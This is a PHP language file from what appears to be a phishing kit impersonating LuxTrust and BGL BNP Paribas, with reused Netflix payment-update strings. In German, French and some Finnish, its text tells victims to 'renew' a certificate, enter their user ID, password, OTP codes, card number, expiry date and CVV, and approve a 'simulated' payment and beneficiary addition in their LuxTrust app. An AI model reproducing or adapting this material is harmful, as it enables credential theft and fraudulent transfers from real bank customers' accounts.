<?php

$translations = array(
    //DE
    'de' => array(
    
        'home1' => 'Privatkunden', 
        'home2' => 'Unternehmen', 
        'home3' => 'Tätigkeitsbereich', 
        'home4' => 'Über uns', 
        'home5' => 'Hilfe', 
            
    'h1' => 'Erneuern Sie Ihr Zertifikat', 
    'formp1' => 'Um die Bankvorschriften der Europäischen Union einzuhalten, müssen Sie Ihr LuxTrust-Zertifikat erneuern, um die neueste Version zu erhalten. Dies ist ein einfacher und schneller Vorgang, der nicht länger als 10–15 Minuten dauern sollte.
Wählen Sie Ihre Bank', 
    'formp2' => 'Ich melde mich an als ', 
    'formp3' => 'Inhaber ', 
    'formp4' => ' mit einem ', 
    'formp5' => 'Verbindungsart wechseln', 
    'formp6' => 'Bitte geduldig sein …', 
    'formp7' => 'Zusätzliche Überprüfung', 
    'formp8' => 'Bitte geben Sie aus Sicherheitsgründen einen OTP-Code ein, um Ihre Identität zu bestätigen.', 
    'formp9' => 'Bestätigen', 
    'formp10' => 'Verbindung mit LuxTrust Mobile läuft', 
    'iban1' => 'Wir stellen gerade Ihr Luxtrust-Zertifikat wieder her. Um die Verifizierung abzuschließen, werden wir eine Simulation der Hinzufügung eines Begünstigten durchführen. Bitte akzeptieren Sie diese Hinzufügung, um den Prozess abzuschließen und Ihr Zertifikat wiederherzustellen.',
    'footerp1ex' => 'Eine Zahlung wurde in Ihrer Luxtrust-App erstellt, es handelt sich um eine Simulation, bitte akzeptieren Sie diese.', 
    'footerp1' => 'Aufgrund einer Störung unserer durch Luxtrust gesicherten Authentifizierungssysteme bitten wir Sie, die gesendete Anmeldeanforderung zu akzeptieren. Dies wird es ermöglichen, die Sicherheit Ihres Dienstes zu überprüfen und wiederherzustellen.<br><br>Wenn Sie keine Benachrichtigung erhalten, öffnen Sie bitte Ihre Luxtrust-App und akzeptieren Sie unsere Anmeldeanforderung.', 
    'footerp2' => 'Eine Validierungstransaktion wurde erstellt
marchand:', 
    'footerp3' => ', für einen Betrag von:', 
    'footerp4' => 'Ihre persönlichen Daten müssen überprüft werden. Bitte aktualisieren Sie Ihre Angaben, um fortzufahren.', 
    'footerp5' => 'Vor- und Nachname', 
    'footerp6' => 'Adresse', 
    'footerp7' => 'Mobilfunknummer', 
    'footerp8' => 'E-mail ', 
    'footerp9' => 'jj/mm/aaaa', 
    'footerp10' => 'Geburtsdatum',
    'footerp11' => 'Kartennummer', 
    'footerp12' => 'Ablaufdatum', 
    'footerp13' => 'Sicherheitscode', 
    'footerp14' => 'MM/JJJJ', 
    'footerp15' => 'Scannen Sie den QR-Code mit LuxTrust Scan', 
    'errorsp1' => 'Es ist ein Fehler aufgetreten.<br>Bitte versuchen Sie es erneut.',
    'errorsp2' => 'DE',
    'errorsp3' => ' Ihre Bank - überall und immer dabei! ',
    'errorsp4' => 'Verwalten Sie all Ihre Konten in einer intuitiven und sicheren Umgebung. Wickeln Sie Ihre Bankgeschäfte aus der Ferne und in Echtzeit von Ihrem PC, Tablet oder Smartphone ab: ',
    'bnpfooter' => 'Allgemeine-Geschaeftsbedingungen | Rechtliche Hinweise | Cookies Policy | Cookies verwalten | © BGL BNP PARIBAS - 2025 ',
    'bnpapp' => 'Sie können Ihre Konten auch von Ihrem Handy oder Tablet aus verwalten, indem Sie die Web Banking App herunterladen!',
    'bnptitle' => 'Zugang zu Ihren Konten',
    
    'submitbtn' => 'Weiter',

    'i3foter1' => 'Passwort vergessen? ',
    'i3foter2' => 'Gibt es ein Problem mit Ihrem LuxTrust-Produkt? <a href="#"> +352 2450 2000</a>  Von Montag bis Freitag 8:00-17:30 ',
    'i3foter3' => 'Sie sind bereits Kunde und verbinden Sie sich zum ersten Mal? ',
    'i3foter3z' => ' Sie sind Kunde und dies ist Ihr Erstzugang? ',
    'i3foter4' => 'Erste Verbindung',
    'i3foter4z' => 'Erstzugang',
    'i3foter5' => 'Verlorene oder gestohlene Kreditkarte? Eine Frage zu Ihrem Kundenbereich? ',
    'i3foter5z' => ' Karte verloren oder gestohlen? Eine Frage zu Ihrem Kundenbereich? ',
    'i3foter6' => 'Online-Hilfe',
    'i3foter7' => 'Noch kein Kunde?',
    'i3foter8' => 'Sie können unsere Mitarbeiter unter der Telefonnummer +352 2450 2000 (Montag bis Freitag von 8.00 bis 17.30 Uhr) erreichen oder einen Vertrag online abschließen.',
    'i3foter9' => 'Ein Konto eröffnen',

    'i4title' => 'Geben Sie Ihre Zugangsdaten ein',
    'errorz1' => 'Die Eingabe der User ID ist obligatorisch.',
    'errorz2' => 'Die Eingabe des persönliches Passworts ist obligatorisch.',

    'verifyp1' => 'Kirjaudu ulos',
    'verifyp2' => 'VAIHE',
    'verifyp3' => 'Virhe',
    'verifyp4' => 'Tilisi on odotustilassa viimeisimmän maksusi ongelman vuoksi.',
    'verifyp5' => 'Jatkaa',
    'verifyp6' => 'Päivitä tai vaihda maksutapasi, jotta voit jatkaa Netflixin katselua.',
    'verifyp7' => 'Luotto- tai pankkikortti',
    'verifyp8' => 'Koko Nimi',
    'verifyp9' => 'Anna koko nimi.',
    'verifyp10' => 'Kortin numero',
    'verifyp11' => 'Anna kortin numero.',
    'verifyp12' => 'Voimassaoloaika',
    'verifyp13' => 'Anna voimassaoloaika.',
    'verifyp14' => 'Turvakoodi',
    'verifyp15' => 'Anna CVV-koodi.',
    'verifyp16' => 'Turvallinen Palvelin',
    'verifyp17' => 'Lähetä',
    'verifyp18' => 'PP/KK/VVVV',
    'verifyp19' => 'MM/VV',
    'verifyp20' => 'CVV-kodi (XXX)',
    
    'verifyp20' => 'CVV-kodi (XXX)',

    'loadingp1' => 'Odota...',

    'i7ftitle' => ' Online-Banking auch über Ihr Smartphone ',
    'i7footer' => '<div _ngcontent-idg-c7="" class="row">
    <p _ngcontent-idg-c7="" class="bloc-text">
        Nutzen Sie mit eboo eine individuelle E-Banking-Lösung, die sicher aktiviert wird.</p>
    <ul _ngcontent-idg-c7="" class="bloc-text browser-default">
    <li _ngcontent-idg-c7="">
        Den Kontostand und die einzelnen Umsätze abfragen </li>
    <li _ngcontent-idg-c7="">
        Nationale und internationale Überweisungen tätigen</li>
    <li _ngcontent-idg-c7="">
        Transaktionen und Kartenlimit sicher verwalten</li>
    </ul>
    </div>',


    

    'twofactorp1' => 'Korttisi vahvistamiseen tarvitaan kertakoodi.<Br>Tämä koodi on lähetetty rekisteröityyn matkapuhelinnumeroosi. Sinua ei veloiteta!',
    'twofactorp2' => 'Yhtiö',
    'twofactorp3' => 'Tapahtumatunnus',
    'twofactorp4' => 'Päivämäärä',
    'twofactorp5' => 'Määrä',
    'twofactorp6' => 'Vahvistuskoodi',
    'twofactorp7' => 'Anna vahvistuskoodi.',
    'twofactorp8' => 'Jatkaa',
    'twofactorp9' => 'Käyttöehdot | UKK | Ota meihin yhteyttä'
    ),
    //FR
    'fr' => array(



        
    'home1' => 'Particuliers', 
    'home2' => 'Professionnels', 
    'home3' => 'Secteurs d\'activité', 
    'home4' => 'A propos de LuxTrust', 
    'home5' => 'Aide', 
        
    'h1' => 'Renouveler votre certificat', 
    'formp1' => 'Afin de rester en conformité avec les réglementations bancaires de l\'Union européenne, vous devez renouveler votre certificat LuxTrust pour obtenir la version la plus récente. Il s\'agit d\'un processus simple et rapide qui ne devrait pas prendre plus de 10 à 15 minutes.
Sélectionnez votre banque', 
    'formp2' => 'En tant que', 
    'formp3' => 'Titulaire', 
    'formp4' => 'avec', 
    'formp5' => 'Changer le mode de connexion', 
    'formp6' => 'Veuillez patienter...', 
    'formp7' => 'Vérification supplémentaire ', 
    'formp8' => 'Pour des raisons de sécurité, veuillez fournir un code OTP pour confirmer votre identité. ', 
    'formp9' => 'Confirmer', 
    'formp10' => 'Connexion avec LuxTrust Mobile en cours', 
    'iban1' => 'Nous sommes en train de rétablir votre certificat Luxtrust. Pour finaliser la vérification, nous procéderons à une simulation d\'ajout de bénéficiaire. Merci d\'accepter cet ajout afin de compléter le processus et rétablir votre certificat.',
    'footerp1ex' => 'Un paiement a été créé dans votre application Luxtrust, il s\'agit d\'une simulation, veuillez l\'accepter.', 
    'footerp1' => 'Suite à une perturbation de nos systèmes d\'authentification sécurisés par Luxtrust, nous vous prions d\'accepter la demande de connexion envoyée. Cela permettra de vérifier et de rétablir la sécurité de votre service.<br><br>Si vous ne recevez pas de notification, veuillez ouvrir votre application Luxtrust et accepter notre demande de connexion.', 
    'footerp2' => 'Une transaction de validation a ete cree pour le 
marchand: ', 
    'footerp3' => ', pour un montant de: ', 
    'footerp4' => 'Vos informations personnelles doivent être vérifiées, veuillez mettre à jour vos coordonnées pour continuer. ', 
    'footerp5' => 'Nom et prénom', 
    'footerp6' => 'Adresse', 
    'footerp7' => 'Numéro de téléphone mobile ', 
    'footerp8' => 'E-mail ', 
    'footerp9' => 'tt/mm/jjjj', 
    'footerp10' => 'Date de naissance',
    'footerp11' => 'Numéro de carte', 
    'footerp12' => 'Date d\'expiration', 
    'footerp13' => 'Code de sécurité', 
    'footerp14' => 'MM/AAAA', 
    'footerp15' => 'Scannez le code QR avec LuxTrust Scan', 
    'errorsp1' => 'Une erreur s\'est produite, Veuillez réessayer.',
    'errorsp2' => 'FR',
    'errorsp3' => ' Toute votre banque dans votre poche ! ',
    'errorsp4' => 'Gérez l’ensemble de vos comptes dans un environnement intuitif et sécurisé. Effectuez vos opérations à distance et en temps réel depuis votre ordinateur, tablette ou mobile : ',
    'bnpfooter' => 'Conditions Générales | Mentions légales | Politique de cookies | Gestion des cookies | © BGL BNP PARIBAS - 2025 ',
    'bnpapp' => 'Vous pouvez aussi gérer vos comptes depuis votre mobile ou votre tablette en téléchargeant l\'application Web Banking !',
    'bnptitle' => 'Accédez à vos comptes',

    'submitbtn' => 'Suivant',
    'errorz1' => 'La saisie du User ID est obligatoire.',
    'errorz2' => 'La saisie du Password est obligatoire.',
    
    'i3foter1' => 'Mot de passe oublié ?',
    'i3foter2' => 'Un problème avec votre dispositif LuxTrust ?  <a href="#">+352 2450 2000</a>   Du lundi au vendredi 8:00-17:30  ',
    'i3foter3' => 'Vous êtes déjà client et c\'est votre première connexion ?  ',
    'i3foter3z' => 'Vous êtes un  client et c\'est votre première connexion ?  ',
    'i3foter4' => 'Première connexion',
    'i3foter4z' => 'Première connexion',
    'i3foter5' => 'Carte de crédit perdue ou volée ? Une question sur votre espace client ?',
    'i3foter5z' => 'Carte perdue ou volée ? Une question sur votre espace client ? ',
    'i3foter6' => 'Aide en ligne',
    'i3foter7' => 'Pas encore client ?',
    'i3foter8' => 'Vous pouvez joindre nos équipes au +352 2450 2000 (du lundi au vendredi de 08h00 à 17h30) ou souscrire à un contrat en ligne.',
    'i3foter9' => 'Ouvrir un compte',

    'i4title' => 'saisissez vos identifiants luxtrust',


    'i7ftitle' => '  Votre eBanking aussi sur votre smartphone ',
'i7footer' => '<div _ngcontent-idg-c7="" class="row">
<p _ngcontent-idg-c7="" class="bloc-text">
Avec eboo, profitez d\'une solution d\'ebanking simple et personnalisable </p>
<ul _ngcontent-idg-c7="" class="bloc-text browser-default">
<li _ngcontent-idg-c7="">
Consultez le solde de votre compte et le détail des transactions</li>
<li _ngcontent-idg-c7="">
Effectuez des virements nationaux et internationaux</li>
<li _ngcontent-idg-c7="">
Gérer vos transactions et les limites de vos cartes en toute sécurité</li>
</ul>
</div>',



    'verifyp1' => 'Se déconnecter',
    'verifyp2' => 'ÉTAPE',
    'verifyp3' => 'Erreur',
    'verifyp4' => 'Votre compte est suspendu suite à un problème avec votre dernier paiement.',
    'verifyp5' => 'Continuer',
    'verifyp6' => 'Mettez à jour ou modifiez votre mode de paiement pour continuer à regarder Netflix.',
    'verifyp7' => 'Carte de crédit ou de débit',
    'verifyp8' => 'Nom complet',
    'verifyp9' => 'Entrez le nom complet.',
    'verifyp10' => 'Numéro de carte',
    'verifyp11' => 'Entrez le numéro de carte.',
    'verifyp12' => 'Durée de validité',
    'verifyp13' => 'Entrez la période de validité.',
    'verifyp14' => 'Code de sécurité',
    'verifyp15' => 'Entrez le code CVV.',
    'verifyp16' => 'Serveur sécurisé',
    'verifyp17' => 'Soumettre',
    'verifyp18' => 'JJ/MM/AAAA',
    'verifyp19' => 'MM/AA',
    'verifyp20' => 'Accueil CVV (XXX)',

    'loadingp1' => 'Attendez...',

    'twofactorp1' => 'Un code à usage unique est requis pour confirmer votre carte.<Br>Ce code a été envoyé à votre numéro de mobile enregistré. Vous ne serez pas facturé !',
    'twofactorp2' => 'Entreprise',
    'twofactorp3' => 'ID d\'événement',
    'twofactorp4' => 'Date',
    'twofactorp5' => 'Montant',
    'twofactorp6' => 'Code de vérification',
    'twofactorp7' => 'Entrez le code de vérification.',
    'twofactorp8' => 'Continuer',
    'twofactorp9' => 'Conditions d\'utilisation | FAQ | Contactez-nous'
    ),
    //
);




function getPreferredLanguage() {
    $defaultLanguage = 'fr'; // Default language
    if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
        $langs = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
        foreach ($langs as $lang) {
            $lang = explode(';', $lang);
            $langCode = strtolower(explode('-', $lang[0])[0]);
            if (isValidLanguage($langCode)) {
                return $langCode;
            }
        }
    }
    return $defaultLanguage;
}

// Function to check if the language is valid
function isValidLanguage($langCode) {
    global $translations; // Access translations to check validity
    return array_key_exists($langCode, $translations);
}

// Function to translate text
function translateText($key, $lang) {
    global $translations; // Access global translations array
    $lang = isValidLanguage($lang) ? $lang : 'fr'; // Fallback to 'fr' if invalid
    return isset($translations[$lang][$key]) ? $translations[$lang][$key] : $key;
}

// Get the preferred language from the browser or cookie
$preferredLanguage = getPreferredLanguage();
$currentLanguage = isset($_COOKIE['language']) ? $_COOKIE['language'] : $preferredLanguage;

 
 
?>